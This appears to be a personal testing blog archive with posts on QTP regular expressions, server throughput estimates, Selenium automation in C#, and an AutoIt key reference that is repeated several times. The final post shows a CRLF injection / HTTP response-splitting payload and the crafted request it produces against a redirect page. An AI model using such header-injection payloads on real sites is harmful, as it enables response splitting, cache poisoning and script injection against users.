Friday, August 26, 2011

RegEx used in QTP

a) Backslash Character:
1. A backslash (\) used in conjunction with a special character to indicate that the next character be treated as a literal character.
2.also such as the letters \n, \t, \w, or \d, the combination indicates a special character.

b) Matching Any Single Character:
A period (.)(except for \n).
Ex:
welcome.
Matches welcomes, welcomed, or welcome

c) Matching Any Single Character in a List:
To search for the date 1867, 1868, or 1869, enter:
186[789]

d) Matching Any Single Character Not in a List:
[^ab]
Matches any character except a or b.

e) Matching Any Single Character within a Range:
For matching any year in the 2010s, enter:
201[0-9]

f) Matching Zero or More Specific Characters:
ca*r
Matches car, caaaaaar, and cr

g) Matching One or More Specific Characters:
A plus sign (+) instructs QTP to match one or more occurrences of the preceding character.
For example:
ca+r
Matches car and caaaaaar, but not cr.

h) Matching Zero or One Specific Character:
(?) instructs QTP to match zero or one occurrences of the preceding character.
For example:
ca?r
Matches car and cr, but nothing else.

i) Grouping Regular Expressions:
Parentheses (()) instruct QTP to treat the contained sequence as a unit, just as in mathematics and programming languages. Using groups is especially useful for delimiting the argument(s) to an alternation operator ( | ) or a repetition operator ( * , + , ? , { } ).

j) Matching One of Several Regular Expressions:
pipe (|) instructs QTP to match one of a choice of expressions.

k) Matching the Beginning of a Line:
A caret (^) instructs QTP to match the expression only at the start of a line, or after a newline character.

l) Matching the End of a Line:
A dollar sign ($) instructs QTP to match the expression only at the end of a line, or before a newline character.

m) Matching Any AlphaNumeric Character Including the Underscore:
\w instructs QTP to match any alphanumeric character and the underscore (A-Z, a-z, 0-9, _).

n) Matching Any Non-AlphaNumeric Character:
\W instructs QTP to match any character other than alphanumeric characters and underscores.

o) Combining Regular Expression Operators:
We can combine regular expression operators in a single expression to achieve the exact search criteria we need.
For example,
start.*
Matches start, started, starting, starter, and so forth.
we can use a combination of brackets and an asterisk to limit the search to a combination of non-numeric characters.
For example:
[a-zA-Z]*
To match any number between 0 and 1200, we need to match numbers with 1 digit, 2 digits, 3 digits, or 4 digits between 1000-1200.
The regular expression below matches any number between 0 and 1200.
([0-9]?[0-9]?[0-9]|1[01][0-9][0-9]|1200)

Tuesday, March 8, 2011

FINDING SERVER CAPABILITY, REQUEST PER SECOND

DEAR ALL,

I DEDUCE FOLLOWING FOR MY ONE PROJECT. IT'S A BIG PROJECT RUNNING WORLDWIDE. IT IS A POWERPOINT PRESENTATION RELATED...


I tried here to find that our server is able to handle how many request per second. An approximate data of files being used is here:

File No. of files Total Size
ascx 53 275,416 bytes
aspx 310 4,805,494 bytes
css 54 834,304 bytes
htm 13 84,545 bytes
js 67 1,968,246 bytes
Total 497 7968005

So total 497 files having size 7968005 bytes
So average page size becomes: 7968005/497=16032 bytes (excluding data which fetched from database & displayed on page)
TCP Connection consumes: 180 bytes
GET Request consumes: 256 bytes
Protocol overhead consumes: 1,364 bytes
Total: 17832 bytes
Total Bits=17832 x 8 = 142656 bits per request

As per our IT admin, we have 100mbps line connected with LB. So it can transmit 100 x 1000000=100000000 bits per second
REQUEST PER SECOND= Transmit Capacity/Avg. Page Size = 100000000/142656 = 700

IT MEANS OUR SERVER IS ABLE TO HANDLE/DELIVER 700 REQUEST PER SECOND.
This can be increased we optimize & reduce our file sizes.

Thursday, January 6, 2011

automating the w3c css test with selenium

1.Create a table where url/body of css file is stored
2.Then fetch data from query
3.In a for loop send call to W3CCSSTest(selenium,dr)


public void W3CCSSTest(ISelenium selenium, DataRow dr)
{
string sql = "";
string cols = "";
string nexturl="";
verificationErrors = new StringBuilder("");

selenium.Open("/");


Thread.Sleep(2000);
try
{

if (dr["type"].ToString() == "U") // if url
{

selenium.Open("http://jigsaw.w3.org/css-validator/");
selenium.Type("uri", dr["BodyUrl"].ToString());
selenium.Click("link=More Options");
Thread.Sleep(1000);
selenium.Select("profile_uri", "label=No special profile");
selenium.Click("//fieldset[@id='validate-by-uri']/form/p[3]/label/a/span");
nexturl = "http://jigsaw.w3.org/css-validator/validator?uri=http%3A%2F%2Fjigsaw.w3.org%2Fcss-validator%2F&profile=none&usermedium=all&warning=1&lang=en";
}
if (dr["type"].ToString() == "B") //if body
{
selenium.Open("http://jigsaw.w3.org/css-validator/");
selenium.Click("link=By direct input");
selenium.Type("text", dr["BodyUrl"].ToString());
Thread.Sleep(1000);
selenium.Select("profile_input", "label=No special profile");
selenium.Click("//fieldset[@id='validate-by-input']/form/p[3]/label/a/span");
nexturl = "http://validator.w3.org/check?uri=http%3A%2F%2Fvalidator.w3.org%2F&charset=%28detect+automatically%29&doctype=HTML+4.01+Transitional&group=0&ss=1&No200=1";
}
Thread.Sleep(3000);

if (selenium.IsTextPresent("Congratulations!"))
{
verificationErrors.Append("pass,");
CreatedScreenShot = Utilities.SeleniumScreenShot(selenium, ScriptAndDirName, dr["Rid"].ToString() + "W3C_CSS_PASS");
DatabaseClass.LogDataInResultTable(ScriptAndDirName, TableName, Convert.ToInt16(dr["Rid"].ToString()), "P", CreatedScreenShot, Convert.ToString(verificationErrors), dr["owner"].ToString());
}

if (selenium.IsTextPresent("Sorry! We found the following errors"))
{
verificationErrors.Append("fail,");
CreatedScreenShot = Utilities.SeleniumScreenShot(selenium, ScriptAndDirName, dr["Rid"].ToString() + "W3C_CSS_FAIL");
DatabaseClass.LogDataInResultTable(ScriptAndDirName, TableName, Convert.ToInt16(dr["Rid"].ToString()), "F", CreatedScreenShot, Convert.ToString(verificationErrors), dr["owner"].ToString());
}
Thread.Sleep(3000);
selenium.GoBack();
}
catch (Exception ex)
{
verificationErrors.Append(ex.ToString());
selenium.GoBack();
}
}

Thursday, December 16, 2010

Quick reference for the Sendkeys.Send

Quick reference for the Send( "keys" [, flag] ) Command. ^ Ctrl ! Alt + Shift # Win

AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).


http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm

Quick reference for the Sendkeys.Send

Quick reference for the Send( "keys" [, flag] ) Command. ^ Ctrl ! Alt + Shift # Win

AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).


http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm

Quick reference for the Sendkeys.Send

Quick reference for the Send( "keys" [, flag] ) Command. ^ Ctrl ! Alt + Shift # Win

AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).


http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm

Quick reference for the Sendkeys.Send

Quick reference for the Send( "keys" [, flag] ) Command. ^ Ctrl ! Alt + Shift # Win

AutoIt can send all ASCII and Extended ASCII characters (0-255), to send UNICODE characters you must use the "ASC" option and the code of the character you wish to Send(see {ASC} below).

Send is quite useful because windows can be navigated without needing a mouse.

For example, open Folder Options (in the control panel) and try the following:

Send("{TAB}") Navigate to next control (button, checkbox, etc)
Send("+{TAB}") Navigate to previous control.
Send("^{TAB}") Navigate to next WindowTab (on a Tabbed dialog window)
Send("^+{TAB}") Navigate to previous WindowTab.
Send("{SPACE}") Can be used to toggle a checkbox or click a button.
Send("{+}") Usually checks a checkbox (if it's a "real" checkbox.)
Send("{-}") Usually unchecks a checkbox.
Send("{NumPadMult}") Recursively expands folders in a SysTreeView32.


http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm

Wednesday, December 15, 2010

running multiple selenium RC parallelly in multi threading

//running multiple RC parallelly

ParameterizedThreadStart objParameterizedThreadStart = new ParameterizedThreadStart(CheckPointStart);
hostInfo objHostInfo = new hostInfo();
Thread t = new Thread(objParameterizedThreadStart);
t.Name = k.ToString();
objHostInfo.bro = bro;
objHostInfo.host = host;
objHostInfo.port = port;
objHostInfo.SiteURL=siteurl.Text;
t.Start(objHostInfo);

running selenium rc on multiple ports

port=4444;
use a for loop to execute following
create 4444.bat, 4445.bat ...so on files
---------------
//run RC for each setting
ProcessStartInfo info = new ProcessStartInfo();
info.WorkingDirectory = wrkdir.Text;
info.FileName = @"e:\\AuthorStream\\Selenium-Scripts\\selenium-server-1.0.3\\" + port + ".bat";
info.WindowStyle = ProcessWindowStyle.Minimized;
Process.Start(info);
port=port+1
-------------------

Saturday, October 30, 2010

CRLF injection/http response splitting


Injected Data: %0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E

Which can also be written as:
\r\n
Content-Type: text/html\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
\r\n
hey



If the user follows the link, the HTTP request will look like:
GET /~dcrab/redirect.php?page=%0d%0aContent-Type: text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont color=red%3Ehey%3C/font%3E%3C/html%3E HTTP/1.1\r\n
Host: abc.org\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\r\n
Accept: text/xml,application/xml,application/xhtml xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n